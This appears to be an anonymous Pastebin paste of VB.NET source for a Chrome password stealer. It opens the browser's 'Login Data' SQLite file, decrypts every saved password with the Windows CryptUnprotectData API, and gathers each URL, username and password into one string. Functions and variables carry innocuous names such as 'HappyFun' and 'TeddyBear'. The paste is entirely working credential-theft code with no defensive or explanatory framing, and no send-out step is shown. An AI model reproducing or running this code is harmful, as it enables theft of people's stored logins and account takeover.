Guest User

Untitled

a guest
Aug 9th, 2018
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Runtime.InteropServices
  2. Imports System.IO
  3. Imports System.Text
  4. Module Chrome
  5.     Public TeddyBear As String
  6.     Public Function HappyFun() As String
  7.         Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Login Data"
  8.         Try
  9.             Dim SQLDatabase = New Update.SQLiteHandler(datapath)
  10.             TeddyBear = vbNewLine
  11.             SQLDatabase.ReadTable("logins")
  12.             If File.Exists(datapath) Then
  13.                 Dim host, user, pass As String
  14.                 For i = 0 To SQLDatabase.GetRowCount() - 1 Step 1
  15.                     host = SQLDatabase.GetValue(i, "origin_url")
  16.                     user = SQLDatabase.GetValue(i, "username_value")
  17.                     pass = Decrypt(System.Text.Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")))
  18.                     If (user <> "") And (pass <> "") Then
  19.                         TeddyBear = TeddyBear & "URL: " & host & " Username: " & user & " Password: " & pass & vbNewLine
  20.                     End If
  21.                 Next
  22.                 HappyFun = TeddyBear
  23.             End If
  24.         Catch e As Exception
  25.             HappyFun = "Error or nothing found!"
  26.         End Try
  27.     End Function
  28.     <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
  29.     Private Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean
  30.     End Function
  31.     <Flags()> Enum CryptProtectPromptFlags
  32.         CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1
  33.         CRYPTPROTECT_PROMPT_ON_PROTECT = &H2
  34.     End Enum
  35.     <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT
  36.         Public cbSize As Integer
  37.         Public dwPromptFlags As CryptProtectPromptFlags
  38.         Public hwndApp As IntPtr
  39.         Public szPrompt As String
  40.     End Structure
  41.     <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB
  42.         Public cbData As Integer
  43.         Public pbData As IntPtr
  44.     End Structure
  45.     Function Decrypt(ByVal Datas() As Byte) As String
  46.         Dim inj, Ors As New DATA_BLOB
  47.         Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
  48.         inj.pbData = Ghandle.AddrOfPinnedObject()
  49.         inj.cbData = Datas.Length
  50.         Ghandle.Free()
  51.         CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
  52.         Dim Returned() As Byte = New Byte(Ors.cbData) {}
  53.         Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
  54.         Dim TheString As String = Encoding.Default.GetString(Returned)
  55.         Return TheString.Substring(0, TheString.Length - 1)
  56.     End Function
  57.  
  58. End Module
Add Comment
Please, Sign In to add comment